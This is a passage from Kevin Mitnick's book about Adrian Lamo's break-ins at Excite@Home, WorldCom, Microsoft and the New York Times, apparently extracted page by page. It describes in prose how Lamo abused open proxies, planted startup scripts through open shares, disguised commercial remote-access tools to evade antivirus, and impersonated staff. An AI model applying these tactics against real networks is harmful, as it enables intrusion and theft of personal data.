            "text": "to mind, all critical ingredients to successfully negotiating the many traps\nand dead ends lurking in the Web’s back streets and alleyways.\nRoots\nBorn in Boston, Adrian spent most of his childhood moving around New\nEngland before the family settled in Washington, DC. His father, a native\nColombian, writes children’s stories and does Spanish/English transla-\ntions; Adrian considers him a natural-born philosopher. His mother\ntaught English but now manages the home. “They used to take me to\npolitical rallies when I was a little kid. They raised me to question what I\nsee around me and made efforts to broaden my horizons.”\nAdrian doesn’t feel he fits a specific demographic profile, even though\nhe sees most hackers as falling into what he calls “white-bread middle-\nclass.” I once had the honor of meeting his parents and heard from them\nthat one of the reasons their son got involved in hacking was because he\nhad several favorite hackers who inspired him. It wasn’t mentioned, but\nI get the impression from Adrian that one of those individuals might have\nbeen me. His parents probably wanted to wring my neck.\nAt the age of seven, Adrian began fooling around on his dad’s computer,\na Commodore 64. One day he became frustrated with a text adventure\ngame he was trying to play. Every option seemed to lead to a dead end.\nHe discovered that while loading a program on the computer, and before\nexecuting the Run command, there was a way he could instruct the com-\nputer to generate a listing of the game’s source code. The listing revealed\nthe answers he was looking for and he promptly won the game.\nIt’s well known that the earlier a child begins learning a foreign language,\nthe more naturally he or she acquires it. Adrian thinks the same is true\nabout starting early on a computer. He theorizes the reason may be that\nthe brain has yet to become “hardwired,” with the neural net more mal-\nleable, faster to acquire and accommodate, than it will be in adulthood.\nAdrian grew up immersed in the world of computers, seeing them as an\nextension of reality and therefore readily manipulated. For him a com-\nputer was not something one read about or poured over lengthy manu-\nals to understand. It was not an external device, like a refrigerator or a\ncar, but a window — into himself. He decided that he organically\nprocessed information the way a computer and its internal programs do.\nMidnight Meetings\nOf the corporate computer systems Adrian has hacked into, he considers\nExcite@Home his ultimate “cloak-and-dagger” experience. The epic\nstarted on a whim when somebody suggested he check out the @Home\nChapter 5\nThe Robin Hood Hacker\n93\n"
        },
        {
            "page_number": 115,
            "text": "site. As the clearinghouse for all cable Internet services in the United\nStates, Adrian was sure it was well protected and wouldn’t be worth his\ntime. But if he could successfully hack in, he would have access to key\ninformation about every cable user in the country.\nHackers are discovering these days that Google can be surprisingly help-\nful for uncovering likely targets of attack and revealing useful information\nabout them. Adrian kicks off a lot of his hacking forays by googling a set\nof keywords that often lead to sites with some flaw in their configuration. \nSo he plugged his laptop into an open network jack in the student\nlounge of a Philadelphia university and called up the Excite@Home Web\npage. The student lounge was a familiar kind of setting for him: Any loca-\ntion used by lots of people, or a public Internet kiosk, or an open wireless\naccess point — connecting online from places like these provides an easy,\neffective way for a hacker to mask his or her location. Uncovering the\ntrue identity of someone who randomly uses public Internet access points\nis extremely difficult. \nAdrian’s mindset is to get into the thought processes of the person who\ndesigned the program or network he’s attacking, using his knowledge of\nthe patterns and standard practices that network architects commonly use\nas his initial crutch. He is quite adept at exploiting misconfigured proxy\nservers — dedicated computer systems that pass traffic between the inter-\nnal network and “untrusted” networks like the Internet. The proxy\nexamines each connection request according to the rules it’s been given.\nWhen a network administrator botches the job of configuring the com-\npany’s proxy servers, anyone who can connect to the proxy may be able\nto tunnel through to the company’s supposedly secure internal network. \nTo a hacker, such an open proxy is an invitation to mayhem because it\nallows him to look as if he’s originating requests just like any legitimate\ncompany employee: from inside the company’s own network. \nFrom that university student lounge, Adrian discovered a misconfig-\nured proxy that opened the door to the internal Web pages for various\ndepartments of Excite@Home. Under the Help section of one, he posted\na question about trouble logging in. The response that came back bore\nthe URL address of a small part of the system designed to assist in resolv-\ning IT problems. By analyzing this URL, he was able to access other divi-\nsions of the company that used the same technology. He was not asked\nfor authentication: The system had been designed on the assumption that\nanyone who knew to call up addresses to these parts of the Web site must\nbe an employee or other authorized person — a shaky premise so wide-\nspread that it has a nickname, “security through obscurity.”\nFor the next step, he visited a site popular with cyberspace explorers,\nNetcraft.com. Adrian randomly entered partial domain names, such as\nThe Art of Intrusion\n94\n"
        },
        {
            "page_number": 116,
            "text": "Netcraft returned a list of Excite@Home servers, showing them as Solaris\nmachines running the Apache Web server software. \nAs Adrian explored, he discovered that the company’s network opera-\ntions center offered a technical support system that allowed authorized\nemployees to read details of customers requesting assistance — “Help! I\ncan’t access my account,” or whatever. The employee would sometimes\nask the customer to provide his or her username and password — safe\nenough because this was all behind the corporate firewall; the information\nwould be included on the trouble ticket.\nWhat Adrian found was, he says, “eye-opening.” The treasures\nincluded tickets that contained login and password information for cus-\ntomers, details on the process for handling trouble tickets, and com-\nplaints from internal users about computer problems they had been\nhaving. He also found a script for generating an “authentication cookie”\nthat would allow a technician to authenticate as any account holder, to\ntroubleshoot a problem without requiring the customer’s password. \nOne memo on a ticket caught Adrian’s attention. It showed the case of\na customer who more than a year earlier had asked for help with refer-\nence to personal information, including credit card numbers, stolen by\nsomeone on an Internet Relay Chat service. The internal memo stated\nthat the “techs” (technicians) decided it wasn’t their problem and didn’t\nbother responding. They basically blew the poor guy off. Posing as a\ncompany technician, Adrian called the man at home and said, “Hey, I’m\nnot really supposed to be working this ticket, but I was curious if you ever\ngot a response from us.” The man said he’d never heard a single word.\nAdrian promptly forwarded him the correct answer and all the internal\ndocumentation and discussion regarding his unresolved ticket.\nI got a sense of satisfaction out of that because I want to believe\nin a universe where something so improbable as having your\ndatabase stolen by somebody on Internet Relay Chat can be\nexplained a year later by an intruder who has compromised the\ncompany you first trusted to help you.\nAbout this time, the open proxy that had given him access stopped\nworking. He wasn’t sure why, but he could no longer get in. He started\nlooking for another way. The approach he came up with was, in his\nwords, “entirely novel.”\nHis first toehold came from doing what’s called a reverse DNS lookup —\nusing an IP address to find out the corresponding hostname. (If you enter\na request in your browser to go to the site for www.defensivethinking.\ncom, the request goes to a Domain Name Server (DNS), which translates\nthe name into an address that can be used on the Internet to route your\nChapter 5\nThe Robin Hood Hacker\n95\n"
        },
        {
            "page_number": 117,
            "text": "request, in this case 209.151.246.5. The tactic Adrian was using reverses\nthis process: The attacker enters an IP address and is provided the\ndomain name of the device that the address belongs to.)\nHe had many addresses to go through, most of which provided noth-\ning of interest. Eventually, though, he found one with a name in the form\nof dialup00.corp.home.net, and several others that also began “dialup.”\nHe assumed these were hosts used by employees on the road, for dialing\nin to the corporate network. \nHe soon discovered that these dial-up numbers were being used by\nemployees still working on computers running older versions of the oper-\nating system — versions as ancient as Windows 98. And several of the dial-\nup users had open shares, which allowed remote access to certain\ndirectories, or the entire hard drive, with no read or write password.\nAdrian realized that he could make changes to the operating system\nstartup scripts by copying files to the shares, so they would run commands\nof his choosing. After writing over particular startup files with his own ver-\nsion, he knew he would have to wait until the system was rebooted before\nhis commands would be executed. But Adrian knows how to be patient.\nThe patience eventually paid off, and Adrian moved on to the next step:\ninstalling a Remote Access Trojan (a “RAT”). But to do this, he doesn’t\nreach for any of the commonly available hacker-developed Trojans, the\nkind other intruders use for malicious purposes. Antivirus programs, so\nhighly popular these days, are designed to recognize common backdoor\nand Trojan programs, and quarantine them instantly. As a way around\nthis, Adrian finds a legitimate tool designed for use by network and sys-\ntem administrators — commercial remote-administration software,\nwhich he modifies slightly so it’s invisible to the user. \nWhile antivirus products look for the kinds of remote-access software\nknown to be used by the hacker underground, they do not look for\nremote-access software developed by other commercial software compa-\nnies, on the assumption that these products are being used legitimately\n(and also, I suppose, because the Developer X software company might\nsue if the antivirus software treated its product as malicious and blocked\nit). Personally I believe this is a bad idea; the antivirus products should\nalert the user to any product that could be used maliciously and let the\nuser decide whether it has been legitimately installed. Taking advantage\nof this loophole, Adrian is frequently able to install “legitimate” RATs\nthat subvert the detection of antivirus programs.\nOnce he had successfully installed the RAT on the @Home employee’s\ncomputer, he executed a series of commands that provided him informa-\ntion on the active network connections to other computer systems. One\nof these commands, “netstat,” showed him the network activity of an\nemployee who was at that moment currently connected to the @Home\nThe Art of Intrusion\n96\n"
        },
        {
            "page_number": 118,
            "text": "intranet by dial-in, and revealed what computer systems in the internal\ncorporate network the person was using at the time.\nIn order to show a sample of the data returned by netstat, I ran the pro-\ngram to examine the operation of my own machine; in part, the output\nlisting looked like this:\nC:\\Documents and Settings\\guest>netstat -a\nActive Connections\nProto     Local Address       Foreign Address\nState\nTCP       lockpicker:1411     64.12.26.50:5190\nESTABLISHED\nTCP       lockpicker:2842     catlow.cyberverse.com:22\nESTABLISHED\nTCP       lockpicker:2982     www.kevinmitnick.com:http\nESTABLISHED\nThe “Local Address” lists the name of the local machine (“lockpicker” was\nat the time the name I was using for my computer) and the port number of\nthat machine. The “Foreign Address”shows the hostname or IP address of\nthe remote computer, and the port number to which a connection has been\nmade. For example, the first line of the report indicates that my computer\nhas established a connection to 64.12.26.50 on port 5190, the port com-\nmonly used for AOL Instant Messenger. “State” indicates the status of the\nconnection — “Established” if the connection is currently active,\n“Listening” if the local machine is waiting for an incoming connection.\nThe next line, including the entry “catlow.cyberverse.com,” provides\nthe hostname of the computer system that I was connected to. On the\nlast line, the entry “www.kevinmitnick.com:http” indicates that I was\nactively connected to my personal Web site. \nThe owner of the destination computer is not required to run services\non commonly known ports but can configure the computer to use non-\nstandard ports. For example, HTTP (Web server) is commonly run on\nport 80, but the owner can change that to run a Web server on whatever\nport he or she chooses. By listing the TCP connections of employees,\nAdrian found that @Home employees were connecting to Web servers on\nnonstandard ports. \nFrom information like this, Adrian was able to obtain IP addresses for\ninternal machines worth exploring for sensitive @Home corporate infor-\nmation. Among other gems, he found a database of names, e-mail\naddresses, cable modem serial numbers, current IP addresses, even what\noperating system the customer’s computer was reported as running, for\nevery one of the company’s nearly 3 million broadband subscribers. \nChapter 5\nThe Robin Hood Hacker\n97\n"
        },
        {
            "page_number": 119,
            "text": "This one was “an exotic type of attack” in Adrian’s description, because\nit involved hijacking a connection from an off-site employee dialing into\nthe network. \nAdrian considers it a fairly simple process to be trusted by a network.\nThe difficult part — which took a month of trial and error — was com-\npiling a detailed map of the network: what all the different parts are, and\nhow they relate to one another. \nThe lead network engineer for Excite@Home was a man Adrian had fed\ninformation to in the past and sensed could be trusted. Deviating from\nhis usual pattern of using an intermediary to pass information to a com-\npany he had penetrated, he called the engineer directly and explained he\nhad discovered some critical weaknesses in the company’s network. The\nengineer agreed to meet, despite the late hour that Adrian proposed.\nThey sat down together at midnight.\n“I showed him some of the documentation I had accrued. He called\ntheir security guy and we met him at the [Excite@Home] campus at\naround 4:30 in the morning.” The two men went over Adrian’s materi-\nals and questioned him about exactly how he had broken in. Around six\nin the morning, when they were finishing up, Adrian said he’d like to see\nthe actual proxy server that had been the one he had used to gain access.\nWe tracked it down. And they said to me, “How would you secure\nthis machine?” \nAdrian already knew the server wasn’t being used for any crucial func-\ntion, that it was just a random system.\nI pulled out my pocketknife, one of those snazzy one-handed little\nopeners. And I just went ahead and cut the cable and said, “Now\nthe machine’s secure.” \nThey said, “That’s good enough.” The engineer wrote out a note\nand pasted it to the machine. The note said, “Do not reattach.”\nAdrian had discovered access to this major company as a result of a single\nmachine that had probably long ago ceased to have a needed function, but\nno one had ever noticed or bothered to remove it from the network. “Any\ncompany,” Adrian says, “will have just tons of machines sitting around, still\nconnected but not being used.” Every one is a potential for break-in.\nMCI WorldCom\nAs he has with so many other networks before, it was once again by\nattacking the proxy servers that Adrian found the keys to WorldCom’s\nThe Art of Intrusion\n98\n"
        },
        {
            "page_number": 120,
            "text": "kingdom. He began the search using his favorite tool to navigate com-\nputers, a program called ProxyHunter, which locates open proxy servers.\nWith that tool running from his laptop, he scanned WorldCom’s corpo-\nrate Internet address space, quickly identifying five open proxies — one\nhiding in plain view at a URL ending in wcom.com. From there, he\nneeded only to configure his browser to use one of the proxies and he\ncould surf WorldCom’s private network as easily as any employee.\nOnce inside, he found other layers of security, with passwords required\nfor access to various intranet Web pages. Some people, I’m sure, will find\nit surprising how patient an attacker like Adrian is willing to be, and how\nmany hours they’re willing to devote in the determined effort to con-\nquer. Two months later, Adrian finally began to make inroads. \nHe had gained access to WorldCom’s Human Resources system, giving\nhim names and matching social security numbers for all of the company’s\n86,000 employees. With this information and a person’s birth date (he\nswears by anybirthday.com), he had the ability to reset an employee’s\npassword, and to access the payroll records, including information such\nas salary and emergency contacts. He could even have modified the direct\ndeposit banking instructions, diverting paychecks for many employees to\nhis own account. He wasn’t tempted, but observed that “a lot of people\nwould be willing to blow town for a couple hundred thousand dollars.” \nInside Microsoft\nAt the time of our interview, Adrian was awaiting sentencing on a variety\nof computer charges; he had a story to tell about an incident he had not\nbeen charged with but that was nonetheless included in the information\nreleased by the federal prosecutor. Not wanting any charges added to those\nalready on the prosecutor’s list, he felt compelled to be circumspect in\ntelling us a story about Microsoft. Tongue firmly in cheek, he explained:\nI can tell you what was alleged. It was alleged that there was a\nweb page which I allegedly found that allegedly required no\nauthentication, had no indication that [the information was]\nproprietary, had absolutely nothing except for a search menu. \nEven the king of software companies doesn’t always get its computer\nsecurity right. \nEntering a name, Adrian “allegedly” realized he had the details of a\ncustomer’s online order. The government, Adrian says, described the site\nas storing purchase and shipping information on everybody who had ever\nordered a product online from the Microsoft Web site, and also contain-\ning entries about orders where credit cards had been declined. All of this\nChapter 5\nThe Robin Hood Hacker\n99\n"
        },
        {
            "page_number": 121,
            "text": "would be embarrassing if the information ever became available to any-\none outside the company.\nAdrian gave details of the Microsoft security breach to a reporter he\ntrusted at the Washington Post, on his usual condition that nothing would\nbe published until the breach had been corrected. The reporter relayed\nthe details to Microsoft, where the IT people did not appreciate learning\nof the break-in. “Microsoft actually wanted to bring charges,” Adrian\nsays. “They supplied a large damage figure — an invoice for $100,000.”\nSomeone at the company may later have had second thoughts about the\nmatter. Adrian was subsequently told that Microsoft had “lost the\ninvoice.” The accusation of the break-in remained a part of the record,\nbut with no dollar amount connected. (Judging from the newspaper’s\nonline archives, the editors of the Post did not consider the incident to be\nnewsworthy, despite Microsoft being the target and despite the role of\none of their own journalists in this story. Which makes you wonder.)\nA Hero but Not a Saint:\nThe New York Times Hack\nAdrian sat reading the New York Times Web site one day, when he sud-\ndenly had “a flash of curiosity” about whether he might be able to find a\nway of breaking into the newspaper’s computer network. “I already had\naccess to the Washington Post,” he said, but admitted that the effort had\nnot been fruitful: He “didn’t find anything much interesting.” \nThe Times seemed as if it would pose a heightened challenge, since they\nhad likely become prickly on the matter of security following a very pub-\nlic and embarrassing hack a few years before, when a group called HFG\n(“Hacking for Girlies”) defaced their Web site. The defacers criticized\nTimes’ technology scribe John Markoff for the stories he had written\nabout me, stories that had contributed to my harsh treatment by the\nJustice Department.\nAdrian went online and began to explore. He first visited the Web site\nand quickly found that it was outsourced, hosted not by the Times itself\nbut by an outside ISP. That’s a good practice for any company: It means\nthat a successful break-in to the Web site does not give access to the cor-\nporate network. For Adrian, it meant he’d have to work a little harder to\nfind a way in.\n“There is no checklist for me,” Adrian says of his approach to break-\nins. But “when I’m doing a recon, I’m careful to gather information by\nquerying other sources.” In other words, he does not begin by immedi-\nately probing the Web site of the company he’s attacking, since this could\ncreate an audit trail possibly leading back to him. Instead, valuable\nresearch tools are available, free, at the American Registry for Internet\nThe Art of Intrusion\n100\n"
        },
        {
            "page_number": 122,
            "text": "Numbers (ARIN), a nonprofit organization responsible for managing the\nInternet numbering resources for North America.\nEntering “New York Times” in the Whois dialog box of arin.net brings\nup a listing of data looking something like this:\nNew York Times (NYT-3)\nNEW YORK TIMES COMPANY (NYT-4)\nNew York Times Digital (NYTD)\nNew York Times Digital (AS21568) NYTD 21568\nNEW YORK TIMES COMPANY NEW-YORK84-79 (NET-12-160-79-0-1)\n12.160.79.0 - 12.160.79.255\nNew York Times SBC068121080232040219 (NET-68-121-80-232-1)\n68.121.80.232 - 68.121.80.239\nNew York Times Digital PNAP-NYM-NYT-RM-01 (NET-64-94-185-0-\n1) 64.94.185.0 - 64.94.185.255 \nThe groups of four numbers separated by periods are IP addresses, which\ncan be thought of as the Internet equivalent of a mailing address of house\nnumber, street, city, and state. A listing that shows a range of addresses (for\nexample, 12.160.79.0 - 12.160.79.255) is referred to as a netblock.\nHe next did a port search on a range of addresses belonging to the New\nYork Times and sat back while the program scanned through the\naddresses looking for open ports, hoping it would identify some interest-\ning systems he could attack. It did. Examining a number of the open\nports, he discovered that here, too, were several systems running mis-\nconfigured open proxies — allowing him to connect to computers on the\ncompany’s internal network.\nHe queried the newspaper’s Domain Name Server (DNS), hoping to\nfind an IP address that was not outsourced but instead internal to the\nTimes, without success. Next he tried to extract all the DNS records for the\nnytimes.com domain. After striking out on this attempt as well, he went\nback to the Web site and this time had more success: he found a place on\nthe site that offered public visitors a list of the e-mail addresses for all Times\nstaffers who were willing to receive messages from the public. \nWithin minutes he had an e-mail message from the newspaper. It wasn’t\nthe list of reporter’s e-mails he had asked for but was valuable anyway. The\nheader on the e-mail revealed that the message came from the company’s\ninternal network and showed an IP address that was unpublished. “People\ndon’t realize that even an e-mail can be revealing,” Adrian points out.\nThe internal IP address gave him a possible opening. Adrian’s next step\nwas to begin going through the open proxies he had already found, man-\nually scanning the IP addresses within the same network segment. To\nmake the process clear, let’s say the address was 68.121.90.23. While most\nattackers doing this would scan the netblock of this address by starting\nChapter 5\nThe Robin Hood Hacker\n101\n"
        },
        {
            "page_number": 123,
            "text": "with 68.121.90.1 and continuing incrementally to 68.121.90.254,\nAdrian tried to put himself in the position of a company IT person set-\nting up the network, figuring that the person’s natural tendency would\nbe to choose round numbers. So his usual practice was to begin with the\nlower numbers — .1 through .10., and then go by tens — .20, .30, and\nso on.\nThe effort didn’t seem to be producing very much. He found a few\ninternal Web servers, but none that were information-rich. Eventually he\ncame across a server that held an old, no longer used Times intranet site,\nperhaps decommissioned when the new site was put into production and\nsince forgotten. He found it interesting, read through it, and discovered\na link that was supposed to go to an old production site but turned out\ninstead to take him to a live production machine. \nTo Adrian, this was the Holy Grail. The situation began to look even\nbrighter when he discovered that this machine stored training materials\nfor teaching employees how to use the system, something akin to a stu-\ndent flipping through a thin CliffsNotes for Dickens’s Great Expectations\ninstead of reading the whole novel and working out the issues for herself. \nAdrian had broken into too many sites for him to feel any particular emo-\ntion about his success at this stage, but he was making more progress than\nhe could have expected. And it was about to get better. He soon discovered\na built-in search engine for employees to use in finding their way around the\nsite. “Often,” he says, “system administrators don’t configure these prop-\nerly, and they allow you to do searches that should be prohibited.” \nAnd that was the case here, providing what Adrian referred to as “the\ncoup de grace.” Some Times systems administrator had placed a utility in\none of the directories that allows doing what’s called a free-form SQL\nquery. SQL, the Structured Query Language, is a scripting language for\nmost databases. In this case, a pop-up dialog box appeared that allowed\nAdrian to enter SQL commands with no authentication, meaning that he\nwas able to search virtually any of the databases on the system and extract\nor change information at will. \nHe recognized that the device where the mail servers lived was running\non Lotus Notes. Hackers know that older versions of Notes allow a user\nto browse all other databases on that system, and this part of the Times\nnetwork was running an older version. The Lotus Notes database that\nAdrian had stumbled onto gave him “the biggest thrill, because they\nincluded everyone right down to every newsstand owner, the amounts\nthey made, and their socials,” slang for social security numbers. “There\nwas also subscriber information, as well as anybody who’d ever written to\ncomplain about service or make inquiries.” \nThe Art of Intrusion\n102\n"
        },
        {
            "page_number": 124,
            "text": "Asked what operating system the Times was running, Adrian answered\nthat he doesn’t know. “I don’t analyze a network that way,” he explained. \nIt’s not about the technology, it’s about the people and how they\nconfigure networks. Most people are very predictable. I often find\nthat people build networks the same way, over and over again. \nMany eCommerce sites make this mistake. They assume people\nwill make entries in the proper order. No one assumes the user will\ngo out of order. \nBecause of this predictability, a knowledgeable attacker could place an\norder at an online Web site, go through the purchase process to the point\nwhere his or her data has been verified, then back up and change the\nbilling information. The attacker gets the merchandise; somebody else\ngets the credit card charge. (Though Adrian explained the procedure in\ndetail, he specifically asked us not to give a full enough description that\nwould allow others to do this.)\nHis point was that systems administrators routinely fail to think with\nthe mind of an attacker, making an attacker’s job far easier than it need\nbe. And that’s what explains his success with his next step in penetrating\nthe Times’ computer network. The internal search engine should not\nhave been able to index the entire site, but it did. He found a program\nthat brought up a SQL form that allowed him control over the databases,\nincluding typing in queries for extracting information. He then needed\nto find out the names of the databases on that system, looking for ones\nthat sounded interesting. In this way he found a database of very great\ninterest: It contained a table of the entire username and password list for\nwhat appeared to be every employee of the New York Times. \nMost of the passwords, it turned out, were simply the last four digits of\nthe person’s social security number. And the company did not bother\nusing different passwords for access to areas containing especially sensi-\ntive information — the same employee password worked everywhere on\nthe system. And for all he knows, Adrian said, the passwords at the Times\nare no more secure today than they were at the time of his attack.\nFrom there, I was able to log back into the Intranet and gain\naccess to additional information. I was able to get to the news\ndesk and log in as the news manager, using his password. \nHe found a database listing every person being held by the United\nStates on terrorism charges, including people whose names had not been\nmade public. Continuing to explore, he located a database of everyone\nwho’d ever written an op-ed piece for the Times. This totaled thousands\nChapter 5\nThe Robin Hood Hacker\n103\n"
        },
        {
            "page_number": 125,
            "text": "of contributors and disclosed addresses, phone numbers, and social secu-\nrity numbers. He did a search for “Kennedy” and found several pages of\ninformation. The database listed contact information on celebrities and\npublic figures ranging from Harvard professors to Robert Redford and\nRush Limbaugh.\nAdrian added his own name and cell phone number (based in a north-\nern California area code, the number is “505-HACK”). Obviously count-\ning on the paper never figuring out that the listing had been planted there\nand apparently hoping that some reporter or op-ed page editor might be\ntaken in, he listed his fields of expertise as “computer hacking/\nsecurity and communications intelligence.”\nOkay, inappropriate, perhaps inexcusable. Yet even so, to me the action\nwas not just harmless but funny. I still chuckle at the idea of Adrian get-\nting a phone call: “Hello, Mr. Lamo? This is so-and-so from the New York\nTimes.” And then he’s quoted in a piece, or maybe even asked to write\n600 words on the state of computer security or some such topic that runs\nthe next day on the op-ed page of the country’s most influential paper. \nThere’s more to the saga of Adrian and the New York Times; the rest of\nit isn’t funny. It wasn’t necessary, it wasn’t characteristic of Adrian, and it\nled him into serious trouble. After tampering with the op-ed page data-\nbase listings, he discovered that he had access to the Times’ subscription\nto LexisNexis, an online service that charges users for access to legal and\nnews information.\nHe allegedly set up five separate accounts and conducted a very large\nnumber of searches — over 3,000, according to the government. \nAfter three months of browsing through LexisNexis with the New York\nTimes totally unaware that its accounts have been hijacked, Adrian finally\nreverted to the Robin Hood behavior that had characterized his previous\nattacks on other companies. He got in touch with a well-known Internet\njournalist (like me a former hacker) and explained the vulnerability he had\nexploited that gave him access to the New York Times computer system —\nbut only after extracting an agreement that the reporter would not pub-\nlish any information about the break-in until he had first advised the\nTimes and waited until they had fixed the problem.\nThe reporter told me that when he contacted the Times, the conversa-\ntion didn’t go quite the way either he or Adrian had expected. The Times,\nhe said, wasn’t interested in what he had to tell them, didn’t want any of\nthe information he offered, had no interest in speaking directly to Adrian\nto find out the details, and would take care of it on its own. The Times\nperson didn’t even want to know what the method of access had been,\nfinally agreeing to write down the details only after the reporter insisted.\nThe Art of Intrusion\n104\n"
        },
        {
            "page_number": 126,
            "text": "The newspaper verified the vulnerability and within 48 hours had the\ngap sewn up, Adrian says. But Times’ executives were not exactly appre-\nciative of having the security problem called to their attention. The earlier\nHacking for Girlies attack had received a lot of press, and their embar-\nrassment was no doubt made all the worse because the people responsible\nwere never caught. (And don’t think that I had any connection with the\nattack; at the time, I was in detention awaiting trial.) It’s a safe guess that\ntheir IT people had been put under a lot of pressure to make sure they\nwould never again be the victim of a hacker break-in. So Adrian’s explo-\nration around their computer network may have wounded some egos and\ndamaged some reputations, which would explain the newspaper’s\nuncompromising attitude when it learned he had been taking advantage\nof their unintended generosity for months.\nMaybe the Times would have been willing to show appreciation for\nbeing allowed time to plug the gaping hole in its computer system before\nthe story of its wide-open network appeared in print. Maybe it was only\nwhen they discovered the LexisNexis usage that they decided to get hard-\nnosed. Whatever the reason, the Times authorities took the step that none\nof Adrian’s previous victims had ever taken: They called the FBI.\nSeveral months later, Adrian heard the FBI was looking for him and\ndisappeared. The Feds started visiting family, friends, and associates —\ntightening the screws and trying to find out whether he had let any of his\njournalist contacts know where he was hanging out. The ill-conceived\nplan resulted in attempts to subpoena notes from several reporters Adrian\nhad shared information with. “The game,” one journalist wrote, “had\nsuddenly turned serious.” \nAdrian gave himself up after only five days. For the surrender, he chose\none of his favorite places to explore from: a Starbucks.\nWhen the dust had settled, a press release put out by the office of the\nUnited States Attorney for the Southern District of New York stated that\nthe “the charges incurred” by Adrian’s New York Times hack “was [sic]\napproximately $300,000.” His freeloading, according to the govern-\nment, amounted to 18 percent of all LexisNexis searches performed from\nNew York Times accounts during his romp on their site.2\nThe government had apparently based this calculation on what the\ncharge would be for you or me — or anyone else who is not a LexisNexis\nsubscriber — to do individual, pay-as-you-go searches, a fee that is scaled\nup to as much as $12 for a single query. Even calculated that highly unrea-\nsonable way, Adrian would have had to do something like 270 searches\nevery day for three months to reach a total figure that high. And since large\norganizations like the Times pay a monthly fee for unlimited LexisNexis\naccess, it’s likely they never paid a penny additional for Adrian’s searches.\nChapter 5\nThe Robin Hood Hacker\n105\n"
        },
        {
            "page_number": 127,
            "text": "According to Adrian, the New York Times episode was an exception in\nhis hacking career. He says he had received thanks from both\nExcite@Home and MCI WorldCom (which was all the more grateful after\nthey confirmed that he could indeed have had hundreds of employee\ndirect-deposit transfers paid to some account under his control). Adrian\nsounds not bitter but merely matter-of-fact when he says that “The New\nYork Times was the only one that wanted to see me prosecuted.”\nTo make matters worse for him, the government had apparently some-\nhow induced several of Adrian’s earlier victims to file statements of dam-\nages suffered — even including some companies that had thanked him\nfor the information he provided. But maybe that’s not surprising: A\nrequest for cooperation from the FBI or a federal prosecutor is not some-\nthing most companies would choose to ignore, even if they had thought\ndifferently about the matter up to that time.\nThe Unique Nature of Adrian’s Skills\nHighly untypical of a hacker, Adrian is not fluent in any programming\nlanguage. His success instead relies on analyzing how people think, how\nthey set up systems, the processes that are used by system and network\nadministrators to do network architecture. Though he describes himself\nas having poor short-term memory, he discovers vulnerabilities by prob-\ning a company’s Web applications to find access to its network, then\ntrolling the network, patiently building up a mental diagram of how the\npieces relate until he manages to “materialize” in some corner of the net-\nwork that the company thought was hidden in the dark recesses of inac-\ncessibility and therefore safe from attack. \nHis own description crosses the border into the unexpected:\nI believe there are commonalities to any complex system, be it a\ncomputer or the universe. We ourselves encompass these common-\nalities as individual facets of the system. If you can get a subcon-\nscious sense of those patterns, sometimes they work in your favor,\nbring you to strange places. \n[Hacking] has always been for me less about technology and more\nabout religion. \nAdrian knows that if he deliberately sets out to compromise a specific char-\nacteristic of a system, the effort will most likely fail. By allowing himself to\nwander, guided mainly by intuition, he ends up where he wants to be.\nAdrian doesn’t believe his approach is particularly unique, but he\nacknowledges never having met any other hacker who was successful in\nthis way.\nThe Art of Intrusion\n106\n"
        },
        {
            "page_number": 128,
            "text": "One of the reasons none of these companies, spending thousands\nand thousands of dollars on detection, has ever detected me is that\nI don’t do what a normal intruder does. When I spot a network\nsystem open to compromise, I view it the way it’s supposed to be\ndone. I think, “Okay, employees access customer information. If I\nwere an employee, what would I ask [the system] to do?” It’s hard\n[for the system] to distinguish legitimate from illegitimate activ-\nity because you’re going through the same interface an employee\nwould. It’s essentially the same traffic.\nOnce Adrian has the network’s layout in his head, “it’s less about looking\nat numbers on a screen and more a sense of actually being in there, spotting\npatterns. It’s a way of seeing, a view on reality. I can’t define it, but I see it\nin my head. I notice what lives where, how it interrelates and connects. And\nmany times this leads me to what some people consider amazing.”\nDuring an interview with NBC Nightly News at a Kinko’s in\nWashington, DC, the crew jokingly challenged Adrian to try breaking\ninto NBC’s system. He says that with cameras rolling, he had confiden-\ntial data on the screen in under five minutes.3\nAdrian tries to approach a system both as an employee and an outsider\nwould. He believes the dichotomy tells his intuition where to go next.\nHe’ll even role-play, pretending to himself that he’s an employee out to\ncomplete a specific assignment, thinking and moving forward in the\nappropriate way. It works so well for him that people long ago stopped\ndismissing his uncanny success as chance fumblings in the dark.\nEasy Information\nOne night at the same Starbucks where I had once had coffee with him,\nAdrian got an earful. He was sitting there with a cup of coffee when a car\npulled up and five men piled out. They sat down at a nearby table, and\nhe listened to their conversation; it quickly becomes apparent that they\nwere law enforcement and he was pretty sure they were FBI. \nThey talked shop for about an hour, entirely oblivious to the fact\nthat I’m sitting there not touching my coffee. They’re talking shop\ntalk — who was liked, who was disliked.\nThey made agent jokes about how you could tell the power of an\nagency by the size of the badge it issued. FBI agents wear very\nsmall badges, whereas like the Fish & Game Department issues\nhuge badges. So the power is in reversed proportion. They thought\nthat was funny.\nChapter 5\nThe Robin Hood Hacker\n107\n"
        },
        {
            "page_number": 129,
            "text": "On their way out, the agents gave Adrian a cursory look, as if just real-\nizing the young man staring into a cold cup of coffee might have heard\nthings he shouldn’t have.\nAnother time Adrian was able with a single phone call to find out crit-\nical information about AOL. While their IT systems are well-protected,\nhe says he exposed a serious vulnerability when he called the company\nthat manufactures and lays their fiber optic cable. Adrian claims he was\ngiven all the cyber maps showing where AOL’s main and backup cables\nwere buried. “They just assumed that if you knew to call them, you must\nbe okay to talk to.” A hacker out to cause trouble could have cost AOL\nmillions of dollars in downtime and repairs.\nThat’s pretty scary. Adrian and I agree; it’s mind-blowing the way peo-\nple are so loose with information. \nThese Days\nIn the summer of 2004, Adrian Lamo was sentenced to six months home\nconfinement and two years of supervised release. The Court also ordered\nhim to pay $65,000 in restitution to his victims.4 Based on Adrian’s earn-\ning potential and his lack of funds (he was homeless at the time, for God’s\nsake), this amount of restitution is plainly punitive. In setting a figure for\nrestitution, the court must consider a number of factors, including the\ndefendant’s present and future ability to pay, and the actual losses suf-\nfered by his victims. An order of restitution is not supposed to be puni-\ntive. In my opinion, the judge did not really consider Adrian’s ability to\npay such a large amount but probably instead set the amount as a way of\nsending a message, since Adrian’s case has been so much in the news. \nMeanwhile he’s rehabilitating himself and turning his life around on his\nown. He’s taking journalism classes at a community college in\nSacramento; he’s also writing articles for a local newspaper and beginning\nto do a bit of freelancing. \nTo me, journalism is the best career I could choose, while remain-\ning true to what makes me tick — curiosity, wanting to see things\ndifferently, wanting to know more about the world around me.\nThe same motives as hacking.\nAdrian is, I hope, being honest with himself and with me when he 